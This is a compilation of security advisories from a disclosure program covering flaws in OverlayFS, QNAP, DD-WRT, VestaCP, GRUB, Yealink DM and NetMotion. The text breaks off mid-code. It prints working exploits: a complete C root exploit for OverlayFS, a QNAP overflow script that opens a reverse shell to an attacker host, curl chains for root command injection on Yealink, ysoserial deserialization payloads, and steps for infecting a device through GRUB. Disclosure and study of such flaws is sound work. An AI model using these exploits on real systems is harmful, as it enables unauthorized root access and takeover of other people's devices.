SSD Advisory – OverlayFS PE

TL;DR

Find out how a vulnerability in OverlayFS allows local users under Ubuntu to gain root privileges.

Vulnerability Summary

An Ubuntu specific issue in the overlayfs file system in the Linux kernel where it did not properly validate the application of file system capabilities with respect to user namespaces. A local attacker could use this to gain elevated privileges, due to a patch carried in Ubuntu to allow unprivileged overlayfs mounts.

CVE

CVE-2021-3493

Credit

An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Ubuntu 20.10

Ubuntu 20.04 LTS

Ubuntu 18.04 LTS

Ubuntu 16.04 LTS

Ubuntu 14.04 ESM

Vendor Response

“We published security advisories for this issue today in

https://ubuntu.com/security/notices/USN-4915-1
https://ubuntu.com/security/notices/USN-4916-1
https://ubuntu.com/security/notices/USN-4917-1

as well as making the issue public in our CVE tracker:

https://ubuntu.com/security/CVE-2021-3493

The following is the content of the message was sent to the oss-security list: https://www.openwall.com/lists/oss-security/2021/04/16/1

Vulnerability Analysis

Linux supports file capabilities stored in extended file attributes that work similarly to setuid-bit, but can be more fine-grained. A simplified procedure for setting file capabilities in pseudo-code looks like this:

setxattr(...):
    if cap_convert_nscap(...) is not OK:
        then fail
    vfs_setxattr(...)

The important call is cap_convert_nscap, which checks permissions with respect to namespaces.

If we set the file capabilities from our own namespace and on our own mount, there is no problem and we have permission to do so. The problem is that when OverlayFS forwards this operation to the underlying file system, it only calls vfs_setxattr and skips checks in cap_convert_nscap.

This allows to set arbitrary capabilities on files in outer namespace/mount, where they will also be applied during execution.

In Linux 5.11 the call to cap_convert_nscap was moved into vfs_setxattr, so it is no more vulnerable.

Demo

Exploit

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"


static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }

    close(fi);
    close(fo);
}

static int exploit()
{
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}

SSD Advisory – QNAP Pre-Auth CGI_Find_Parameter RCE

TL;DR

Find out how a memory corruption vulnerability can lead to a pre-auth remote code execution on QNAP QTS’s Surveillance Station plugin.

Vulnerability Summary

QNAP NAS with “Surveillance Station Local Display function can perform monitoring and playback by using an HDMI display to deliver live Full HD (1920×1080) video monitoring”.

Insecure use of user supplied data sent to the QNAP NAS device can be exploited to run arbitrary code by overflowing an internal buffer used by the Surveillance Station plugin.

CVE

CVE-2021-28797

Credit

An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

QNAP QTS Surveillance Station version 5.1.5.4.2

QNAP QTS Surveillance Station version 5.1.5.3.2

Vendor Response

“We fixed this vulnerability in the following versions:

Surveillance Station 5.1.5.4.3 (and later) for ARM CPU NAS (64bit OS) and x86 CPU NAS (64bit OS)

Surveillance Station 5.1.5.3.3 (and later) for ARM CPU NAS (32bit OS) and x86 CPU NAS (32bit OS)”

More details can be found here: https://www.qnap.com/zh-tw/security-advisory/qsa-21-07

Vulnerability Analysis

Due to lack of proper bound checking, it’s possible to overflow a stack buffer with a specially crafted HTTP request.

user.cgi is used to manage login session to Surveillance Station. but vulnerability is caused by using strcpy while receiving sid through CGI_Find_Parameter function. Also, the vulnerable function call is located in the sub_ACB0 (from ida) here is part of binary user.cgi:

 v2 = CGI\_Find\_Parameter(a1, "initdata");
 v3 = CGI\_Find\_Parameter(v1, "user");
 if ( v3 ) {
    v4 =\*(\_DWORD \*)(v3 +4);
    if ( !\*(\_BYTE \*)v4 || !strcmp(\*(constchar\*\*)(v3 +4), "guest") ) 
        goto LABEL\_34; 
    }
    else { 
        v4 =0; 
    } 

    v5 = CGI\_Find\_Parameter(v1, "pwd");
    if ( v5 ) 
        v6 =\*(char\*\*)(v5 +4);
    else v6 =0;

    v7 = CGI\_Find\_Parameter(v1, "sid");
    v8 = v7;

    if ( v7 ) {
        v9 =\*(constchar\*\*)(v7 +4);
        strcpy(&dest, v9);

The CGI_Find Parameter function is used to process a request in QNAP QTS.

Exploit

import requests
import threading
from struct import *

p = lambda x: pack("<L", x)

def run(session, data):
    res = [session.post("http://192.168.1.2:8080/cgi-bin/surveillance/apis/user.cgi", data) for i in range(5000)]

def main():
	with requests.Session() as s:
                payload = "A" * 3108
                payload += p(0x74a8eb8c) # pop {r0, r4, pc}
                payload += p(0x71154e28) # heap address
                payload += "BBBB"
                payload += p(0x74a636c4 + 1) # system
            
                data = {
		    "act" : "login",
		    "sid" : payload,
		    "slep" : "bash -i >& /dev/tcp/192.168.1.3/4321 0>&1;" * 0x5000 + "\x00" + "bash -i >& /dev/tcp/192.168.1.3/4321 0>&1;" * 0x5000,
                }

                for i in range(30):
                    t = threading.Thread(target=run, args=(s, data))
                    t.start()
                
                

if __name__ == '__main__':
	main()

SSD Advisory – DD-WRT UPNP Buffer Overflow

TL;DR

Find out how a vulnerability in DD-WRT allows an unauthenticated attacker to overflow an internal buffer used by UPNP and trigger a code execution vulnerability.

Vulnerability Summary

DD-WRT is “is Linux-based firmware for wireless routers and access points. Originally designed for the Linksys WRT54G series, it now runs on a wide variety of models”.

Use of user supplied data, arriving via UPNP packet, is copied into an internal buffer of DD-WRT. This buffer being limited in size – while user supplied data is not allows a remote attacker to trigger a buffer overflow.

CVE

CVE-2021-27137

Credit

An independent security researchers, Selim Enes Karaduman, has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

DD-WRT with change set 45723 or prior

Buffalo devices that ship with DD-WRT should be considered to be vulnerable

Vendor Response

“Thanks for informing us about this issue. we will fix it ASAP and release a fixed version within the next days including update of our router database.
for all devices.

Fix can be reviewed here https://svn.dd-wrt.com/changeset/45724″

Vulnerability Analysis

Universal Plug and Play (UPnP) is “a set of networking protocols that permits networked devices, such as personal computers, printers, Internet gateways, Wi-Fi access points and mobile devices to seamlessly discover each other’s presence on the network and establish functional network services for data sharing, communications, and entertainment. UPnP is intended primarily for residential networks without enterprise-class devices”.

By default, UPNP in DD-WRT is disabled as well as only listening on internal network interfaces.

UPNP in its nature is an unauthenticated protocol, in UDP form – which makes it both easy to use as well as insecure in nature, as there is no way to enforce authentication on the protocol.

If DD-WRT has its UPNP service enabled a remote attacker sitting on the LAN where the DD-WRT device is present can trigger a buffer overflow by sending an overly long uuid value.

Depending on the platform DD-WRT is deployed on, there may or may not be mitigation such as ASLR and others, making exploitability dependent on the platform the DD-WRT is installed on.

Vulnerable Code

By reviewing the source code of ssdp.c it is fairly easy to spot the offending code:

An unbound copy from user provided data is copied into a buffer limited to 128 bytes in size.

Proof Of Concept

Because the UPNP service is not enabled by default, the first step to recreate the vulnerability would be to enable the service which will auto-start it:

Launching the PoC script will trigger the upnp service to crash as can be seen a few seconds after you launch the below python script:

import socket

target_ip = "192.168.15.124" # IP Address of Target
off = "D"*164
ret_addr = "AAAA" 

payload = off + ret_addr

packet = \
    'M-SEARCH * HTTP/1.1\r\n' \
    'HOST:239.255.255.250:1900\r\n' \
    'ST:uuid:'+payload+'\r\n' \
    'MX:2\r\n' \
    'MAN:"ssdp:discover"\r\n' \
    '\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.sendto(packet.encode(), (target_ip, 1900) )

SSD Advisory – VestaCP LPE Vulnerabilities

TL;DR

Find out how multiple vulnerabilities in VestaCP allow an authenticated attacker to elevate his access to root privileges.

Vulnerability Summary

VestaCP is “an open source hosting control panel, a clean and focused interface without the clutter, and has the latest of very innovative technologies”.

Two security vulnerabilities in VestaCP allow attackers that have access to the VestaCP panel to elevate their privileges from user to admin, and subsequently from admin to root – by chaining these two vulnerabilities together a user can become ‘root’ on the victim machine.

CVE

CVE-2021-30462, CVE-2021-30463

Credit

Two independent security researchers, Martí Guasch Jiménez (@0xGsch) and Francisco Andreu Sanz (@kikoas1995), have reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

VestaCP version 0.9.8-24 and prior

Vendor Response

We informed the vendor 3 months ago and have initially had communication with the developers – however after a few back and forth emails with them – they have stopped answering our emails and have not released a patch.

We currently recommend you to use forks of VestaCP like, myVestaCP and HestiaCP, has they released patches for the vulnerabilities.

Vulnerability Analysis

Privilege escalation from user to admin in VestaCP

To show this vulnerability we will be using a standard user account in VestaCP which we previously created called user1.

First of all we will show you how to obtain a reverse shell as the user account in the VestaCP server. This is not completely necessary but facilitates the exploitation by a lot.

Reverse shell
In order to obtain the shell we need to create a cron job that executes periodically and sends a reverse shell to a server controlled by the attacker.

In the following image, we get a shell as the user who executed the cronjob.

Exploitation

Go to your users web directory inside your home directory (~) and create a directory with the name of the domain you desire, in our case we are using pwned.pwn.

Now inside that directory, create another directory called public_xhtml. And inside public_xhtml create a symlink pwn.pwn to the desired file you want to read, in this case we want to takeover the admin account so we are going to point to its user.conf which contains the RKEY that allows us to change their password, but we can takeover any account with this vulnerability or read any file.

Now again in the directory of our domain, pwned.pwn, create as many symlinks to the folders which we don’t have permission to access. In our case we need access to /usr/local/vesta/data/users and /usr/local/vesta/data/users/admin, so we create two symlinks with any desired name.

Once all the setup is finished we can trigger the vulnerability by creating a domain as the user1 with the name pwned.pwn in the /add/web URL of VestaCP.

After creating the domain we should see that some directories have been created in our domain folder, pwned.pwn. If we now try to read the contests of the user.conf of admin we should be able to do so.

Now that we can read its RKEY, we can simply access /reset/?action=confirm&user=admin&code=RKEY_VALUE and change the password of the admin user.

Root Cause

The vulnerability happens in the shell script v-add-web-domain which is called in /add/web/index.php.

In it, the following commands are used without checking if the directory already exists or has any contents. $domain is the name of the domain of our website and $user of our VestaCP user.

In lines 88 to 94 we can see that various chmod commands are used in our $domain directory. We can abuse the command in line 94 to change the permissions of the file we want to read, and the command in line 92 to change the permissions of the directories we need access to.

Privilege escalation from “admin” to “root” in VestaCP

To exploit this vulnerability we should also create a reverse shell as the admin user as seen in the previous one.

As seen in the following screenshot, VestaCP relies on bash scripts to perform every operation in the web-app, such as adding a user or listing them. The scripts are under the path /usr/local/vesta/bin.

These bash scripts are owned by root user and can not be modified. However, sudo -l reveals that admin can run any of these scripts as root without having to insert the password.

Exploitation

Looking at the script v-list-user we see that it uses the environment variable $VESTA at the beginning of it to import /usr/local/vesta/func/main.sh.

First, let’s create a bash script under /tmp/func called main.sh, which is just going to spawn a shell.

As we are able to execute any of the scripts as root without entering the password, we can first overwrite the environment variable $VESTA before executing them.

This way, when running v-list-user, we will instantly have root access to the system:

SSD Advisory – GNU GRUB Command Injection

TL;DR

Find out how a vulnerability in GNU GRUB allows users on a Linux system to inject commands into the process of grub-mkconfig which allows them to execute arbitrary commands with elevated privileges.

Vulnerability Summary

GRUB ships with a script that allows generating /boot/grub/grub.cfg based on the operating systems installed on all the devices attached to the current system. The script is called grub-mkconfig. On Debian and systems based on Debian grub-mkconfig is run every time a kernel or driver is installed, upgraded or removed.

When grub-mkconfig detects a GNU/Linux system installed on a different media device, it examines that system’s /boot/grub/grub.cfg, looks at menuentrys inside and generates new menuentrys for the current system’s grub.cfg based on that info. When a new menuentry is being generated, certain GRUB commands (like linux and initrd) get copied from the “old” one.

grub-mkconfig doesn’t implement proper parsing of GRUB commands. When grub-mkconfig copies GRUB commands, it copies the whole lines that start with those commands. Inserting a semicolon after certain GRUB commands allows injecting GRUB commands that grub-mkconfig would not have copied otherwise.

CVE

CVE-PENDING

Credit

An independent security researchers, NyankoSec, has reported this vulnerability to the SSD Secure Disclosure program.

Vendor Response

The vendor has been informed and has released patches that were distributed across all affected distributions of Linux and other potentially affected OSes – more details are available here: https://lists.gnu.org/archive/html/grub-devel/2020-07/msg00034.html

Vulnerability Analysis

Basic details

grub-mkconfig detects GNU/Linux systems based on the presence of the following files:

  • ld.so. It can be placed at several different locations and can have various suffixes like ld-linux.so.2, creating an empty /lib/ld.so is enough.
  • /boot/grub/grub.cfg
  • A file named after a kernel mentioned in /boot/grub/grub.cfg. For example: /vmlinuz. This file can be empty.

grub-mkconfig detects operating systems on every partition, regardless of whether that partition is mounted or not.

grub-mkconfig detects operating systems on any kind of media: hard disks, SSDs, USD drives, SD cards, etc.

Potential exploitation methods

Being able to inject arbitrary GRUB commands is nice, but we can’t know beforehand what kernel and initrd our target is using.

We might assume that /vmlinuz and /initrd.img are available, generate a menuentry based on that and force its execution with settimeout=0 and set default=$our_menuentry, but this approach is not robust.

The target system may have no /vmlinuz or /initrd.img, maybe using a non-standard init, etc.

AFAICT, it may also make circumventing full-disk encryption impossible in some cases. In general,this approach may break out target’s system, which is not something that we want.

It would be nice to be able to examine various menuentrys at runtime and hijack their linux commands. Unfortunately, GRUB script is not expressive enough to allow us to do that. To achieve that, we need a GRUB module.

Hijacking GRUB via module

To exploit the vulnerability in GRUB we will create a GRUB module called ggh.mod.

When ggh.mod is loaded, it registers a hook that fires up after GRUB has finished processing the entire grub.cfg file.

That hook goes through each menuentry loaded by GRUB from the grub.cfg file and replaces any linux or linux16 command with a hijacked version.

The hook also deletes any menuentry that contains a certain magics tring (“ggh_442ecb7e12dc4b8e”). Our exploit generates two dummy entries with that kind of name.

The only drawback of this approach is that the target must keep the infected device attached to the system until it reboots.

Flow of Attack

A user having control over a device that is one of the above can place the files that will be processed by GRUB such that when the kernel (for example) is upgraded and grub is subsequently called to install itself – this GRUB module we created will get called and modify the grub.cfg file with our controlled content.

Due to the complexity of the Exploit we will not be including it in this advisory, we are willing to share the Exploit with people that contact us via email.

Exploit Compiling

These instructions have been tested on Debian 9 and 10. The same instructions should work on any new version of Ubuntu as well.

A GRUB module compiled on one distro will work with any other reasonably new distro or GRUB version.

sudo apt build-dep grub2

Edit src/ggh_shellcode.1 to your liking or keep the default payload. Do not touch src/ggh_shellcode.2 unless you know what you are doing. Also, make sure that src/ggh_shellcode.1 is not too large: it gets base64-encoded and is passed as an argument to the Linux kernel, and Linux is not very happy about arguments over a certain size.

Run make. It will download the source code for GRUB (apt source grub2), compile ggh.mod and create build/rootfs.

Find out the UUID of the device you want to infect. Try findmnt -o TARGET,UUID or blkid.

Replace the dummy UUID (00000000-0000-0000-0000-000000000000) in build/rootfs/boot/grub/grub.cfg with the one you have just discovered.

Mount the device you want to infect and copy all the files in build/rootfs to it:

cp -RT build/rootfs /path/to/your/device

Now you just need to wait for someone to install something that requires upgrade-grub / grub-mkconfig to occur.

SSD Advisory – Yealink DM Pre Auth ‘root’ level RCE

TL;DR

Find out how multiple vulnerabilities in Yealink DM (Device Management) allow an unauthenticated attacker to run arbitrary commands on the server with root privileges.

Vulnerability Summary

Yealink DM (Device Management) platform – “offers a comprehensive management solution with key features Unified Deployment and Management, Real-Time Monitoring and Alarm, Remote Troubleshooting.”

Several vulnerabilities in the Yealink DM server allow remote unauthenticated attackers to cause the server to execute arbitrary commands due to the fact that user provided data is not properly filtered.

CVE

CVE-2021-27561 and CVE-2021-27562

Credit

Two independent security researchers, Pierre Kim and Alexandre Torres, have reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Yealink DM version 3.6.0.20 and prior

Vendor Response

“For the YDMP new version release,  we don’t send a notification to the public, since we don’t force the customer to upgrade.

We will release a new version and upload the installation file to the official Yealink website and update the release note as well.

The update will be ready to download from our website in early 2021″

Vulnerability Analysis

By chaining a pre-auth SSRF vulnerability and a command injection vulnerability, it is possible to execute commands as root without authentication against this product, by sending a simple HTTPS request to the remote target.

Nginx configuration

By default, Nginx listens on port 443/tcp to provide TLS connectivity:

# netstat -nlapute|grep 443 tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 0 16290 1180/nginx: master

By analysing the configuration of Nginx, it appears Nginx acts as a reverse proxy and the traffic to / is sent to 127.0.0.1:9880/tcp:

# cat /usr/local/yealink/nginx/conf/http.conf.d/yealink.conf
[...]
upstream server_frontend_manager {
    server manager-master:9880 weight=1 max_fails=5 fail_timeout=10s;
}
[...]
location / {
    proxy_pass https://server_frontend_manager;
}

Nginx will be used to send a specific request to a vulnerable NodeJS application.

NodeJS acting as a relay

The NodeJS dmweb application is running as yealink on 127.0.0.1:9880/tcp:

# netstat -lapute | grep 9880
tcp        0      0 0.0.0.0:9880            0.0.0.0:*               LISTEN      yealink    21200      2789/node

# ps -auxww | grep 2789
yealink   2789  0.4  0.3 1306416 53172 ?       Ssl  05:31   0:02 /usr/local/yealink/nodejs/bin/node /usr/local/yealink/dmweb/app.js

The /usr/local/yealink/dmweb/app.js program is running on the loopback interface but is reachable from Nginx.

Analysis of /usr/local/yealink/dmweb/app.js

This application is a nodejs application with some dependencies. The interesting code is located in /usr/local/yealink/dmweb/api/index.js

     17 module.exports = app => {
     18     app.use('/premise', router);
     19 };

    [...]

    217 router.get('/front/getPingData', (req, res) => {
    218     // res.send({"ret":1,"data":"PING www.baidu.com (14.215.177.38): 56 data bytes\n64 bytes from 14.215.177.38: seq=0 ttl=54 time=15.084 ms\n64 bytes from 14.215.177.38: seq=1 ttl=54 time=15.888 ms\n64 bytes from 14.215.177.38: seq=2 ttl=54 time=15.742 ms\n64 bytes from 14.215.177.38: seq=3 ttl=54 time=15.622         ms\n64 bytes from 14.215.177.38: seq=4 ttl=54 time=16.384 ms\n\n--- www.baidu.com ping statistics ---\n5 packets transmitted, 5 packets received, 0% packet loss\nround-trip min/avg/max = 15.084/15.744/16.384 ms\n","error":null})
    219     // return;
    220     try {
    221         let url = req.query.url;
    222         // ��telnet�����pos���ping�trace����������端�����pos��以�并�pos传��
    223         let pos = req.query.pos;
    224         console.log(`url===${url}`);
    225         let headers = {
    226             'Content-Type': 'application/json',
    227             'User-Agent': req.headers['user-agent'],
    228             'x-forwarded-for': commom.getClientIP(req),
    229             token: req.session.token
    230         };
    231         request.get({
    232             url: url,
    233             headers: headers,
    234             timeout: 60000,
    235             qs: {
    236                 pos: pos
    237             }
    238         }).pipe(res);
    239     } catch (e) {
    240         console.error(e);
    241         res.send(
    242             errcode.MakeResult(
    243                 errcode.ERR,
    244                 e,
    245                 errcode.INTERNAL_ERROR,
    246                 'server.common.internal.error'
    247             )
    248         );
    249     }
    250 });

One line 17, there is a route defined for /premise, allowing to reach additional APIs.

On line 217, there is a definition for the API /premise/front/getPingData.

This function is vulnerable to SSRF:From line 217, it appears it is possible to send a HTTP request by defining an URL in GET (on line 232 from the value defined on line 221 from req.query.url) with specific headers (line 233, from value provided on line 227) and a new HTTP/HTTPS request will then be sent to the remote attacker-controlled URL.

PoC is:

curl -v --insecure "https://[target]/premise/front/getPingData?url=http://url/"

This is a basic pre-authenticated SSRF vulnerability allowing to reach internal daemons.

smserver daemon running as root on 0.0.0.0:9600/tcp

By default, the program smserver runs as root on 0.0.0.0:9600/tcp but firewall rules don’t allow external connections to this daemon.

# netstat -laputen|grep 9600
tcp        0      0 0.0.0.0:9600            0.0.0.0:*               LISTEN      0          19775      1244/smserver

# ps -auxww|grep smserver
root      1244  1.6  0.2 1166932 34160 ?       SNl  05:28   0:26 /usr/local/yealink/smserver/bin/smserver -nc -run /var/run/yealink/smserver

smserver is a HTTP server. The previously found SSRF provided by the NodeJS server will provide a relay to send requests to the smserver as shown below:

kali$ curl --insecure "https://192.168.23.105/premise/front/getPingData?url=http://0.0.0.0:9600/"
{"reason":{"module":"SmServer", "cause":404, "text":"URL NOT FOUND"}}

By reversing this binary, we found a command injection in the fw_restful_service_get() function located in the module /usr/local/yealink/smserver/mod/mod_firewall.so:

In the function fw_restful_service_get(), the value for the GET variable zone is retrieved by the function fw_restful_get_arg_by_key() on line 16, then there is a construction of arguments on line 22 using snprintf(3).

Finally there is a call to fw_do_cmd() with the crafted command on line 27.

The fw_do_cmd() is just a wrapper to popen(3).

To reach this API, we need to send this HTTP request:

https://127.0.0.1:9600/sm/api/v1/firewall/zone/services?zone=;PAYLOAD;

The resulting command running as root will be:

# firewall-cmd --zone=;PAYLOAD; --list-services

Construction of the final exploit

The final path of exploitation is:

Nginx -> NodeJS -> smserver

By combining the SSRF and the injection, the final exploit is:

kali $ curl --insecure "https://192.168.23.105/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;PAYLOAD;"

;PAYLOAD; will be executed as root without authentication on the target.

Example with /usr/bin/id:

kali $ curl --insecure "https://192.168.23.105/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;"
{"list":["uid=0(root)","gid=0(root)","groups=0(root)","context=system_u:system_r:unconfined_service_t:s0"]}

The command was executed as root on the appliance without authentication.

Demo

SSD Advisory – NetMotion Mobility Server Multiple Deserialization of Untrusted Data Lead to RCE

TL;DR

Find out how multiple vulnerabilities in NetMotion Mobility Server allow an unauthenticated attacker to run arbitrary code on the server with SYSTEM privileges.

Vulnerability Summary

NetMotion Mobility is “standards-compliant, client/server-based software that securely extends the enterprise network to the mobile environment. It is mobile VPN software that maximizes mobile field worker productivity by maintaining and securing their data connections as they move in and out of wireless coverage areas and roam between networks. Designed specifically for wireless environments, Mobility provides IT managers with the security and centralized control needed to effectively manage a mobile deployment. Mobility complements existing IT systems, is highly scalable, and easy to deploy and maintain”.

Several vulnerabilities in the NetMotion Mobility server allow remote attackers to cause the server to execute code due to the way the server deserialize incoming content.

CVE

CVE-2021-26912

CVE-2021-26913

CVE-2021-26914

CVE-2021-26915

Credit

An independent security researcher, Steven Seeley of Source Incite, has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

NetMoition Mobility Server version 12.01.09045

Vendor Response

“On November 19, 2020, NetMotion alerted customers to security vulnerabilities in the Mobility web server and released updates for Mobility v11.x and v12.x to address them.

The vulnerabilities were fixed in versions Mobility v11.73 and v12.02, which were released on November 19, 2020. Customers should upgrade immediately to these or later versions.

NetMotion has always cautioned customers to put their servers behind a firewall. Customers who have not followed NetMotion’s recommendations (v11.73 and v12.02) for the secure configuration and deployment of their Mobility servers, and who have exposed access to the Mobility web server to untrusted networks or IP addresses, are particularly vulnerable to this attack.”

For more details see: https://www.netmotionsoftware.com/security-advisories/security-vulnerability-in-mobility-web-server-november-19-2020

Vulnerability Analysis

SupportRpcServlet Deserialization of Untrusted Data Remote Code Execution

Inside of the com.nmwco.server.support.SupportRpcServlet class, we can see the following code

public class SupportRpcServlet extends HttpServlet {
  public static final int SUPPORT_ZIP = 0;

  protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) {
    try {
      ObjectInputStream objectInputStream = new ObjectInputStream((InputStream)paramHttpServletRequest.getInputStream());
      RpcData rpcData = (RpcData)objectInputStream.readObject();    // 1
      if (rpcData.validate(true)) {
        command(paramHttpServletResponse, rpcData);
      } else {
        paramHttpServletResponse.setStatus(401);
      }
    } catch (Exception exception) {
      paramHttpServletResponse.setStatus(500);
      Events.reportWarning(186, 37175, new String[] { paramHttpServletRequest.getRemoteAddr(), exception.toString() });
    }
  }

At [1] a readObject is used against attacker controlled inputstream without any protections.

PoC

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/SupportRpcServlet

RpcServlet Deserialization of Untrusted Data Remote Code Execution

Inside of the com.nmwco.server.events.EventRpcServlet class we can see:

public class EventRpcServlet extends RpcServlet implements EventRpcRequest {     // 1
  public void writeResponse(HttpServletResponse paramHttpServletResponse, ObjectOutputStream paramObjectOutputStream, int paramInt, long paramLong, Object paramObject) throws IOException {
    try {
      if (!EventRpcResponse.writeResponse(paramObjectOutputStream, paramInt, paramLong, paramObject))
        paramHttpServletResponse.sendError(400);
    } catch (JniException jniException) {
      log("EventRpcServlet", (Throwable)jniException);
      paramHttpServletResponse.sendError(500);
    }
  }

We can see that this servlet extends from RpcServlet at [1], so let’s check that code:

public class RpcServlet extends HttpServlet implements RpcResponseCommand {
  private RpcResponseDispatcher mDispatcher;

  private static final int MAX_REQUEST_SIZE = 5242880;

  public void init(ServletConfig paramServletConfig) throws ServletException {
    super.init(paramServletConfig);
    this.mDispatcher = new RpcResponseDispatcher(this, true, 5242880);
  }

  public void destroy() {}

  public void writeResponse(HttpServletResponse paramHttpServletResponse, ObjectOutputStream paramObjectOutputStream, int paramInt, long paramLong, Object paramObject) throws IOException {
    paramHttpServletResponse.setStatus(404);
  }

  protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    this.mDispatcher.dispatch((SimpleHttpRequest)new SimpleHttpServletRequest(paramHttpServletRequest), (SimpleHttpResponse)new SimpleHttpServletResponse(paramHttpServletResponse), new RpcResponseObjectReader() {
          public RpcData readObject(ObjectInputStream param1ObjectInputStream) throws Exception {      // 2
            return (RpcData)param1ObjectInputStream.readObject();
          }
        });
  }

At [2] we can see it has it’s own readObject dispatcher which also tries to read in an RpcData type that is not validated or checked against attacker controlled data.

PoC

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/EventRpcServlet

MvcUtil valueStringToObject Deserialization of Untrusted Data Remote Code Execution

Inside of the com.nmwco.server.mvc.MvcServlet we can see the following code:

public class MvcServlet extends HttpServlet {
  static final long serialVersionUID = 1L;

  private String mPackage;

  public void init(ServletConfig paramServletConfig) throws ServletException {
    super.init(paramServletConfig);
    this.mPackage = getInitParameter("controllersPackage");
    if (null == this.mPackage)
      throw new ServletException("Could not find init parameter 'controllerPackage'");
  }

  protected void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    doRequest(paramHttpServletRequest, paramHttpServletResponse);
  }

  protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    doRequest(paramHttpServletRequest, paramHttpServletResponse);
  }

  protected void doRequest(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    if (this.mPackage != null) {
      String str1 = "";
      String str2 = paramHttpServletRequest.getRequestURI();
      int i = paramHttpServletRequest.getServletPath().length() + 1;
      if (str2.length() > i) {
        int j = str2.indexOf("/", i);
        if (j < 0)
          j = str2.length();
        str1 = str2.substring(i, j);
      }
      String str3 = this.mPackage + "." + str1 + "Controller";
      try {
        ServletContext servletContext = getServletConfig().getServletContext();
        MvcController mvcController = (MvcController)Class.forName(str3).newInstance();
        mvcController.invoke(servletContext, paramHttpServletRequest, paramHttpServletResponse);                  // 1
      } catch (ClassNotFoundException classNotFoundException) {
        String str = "/";
        if (!str1.isEmpty())
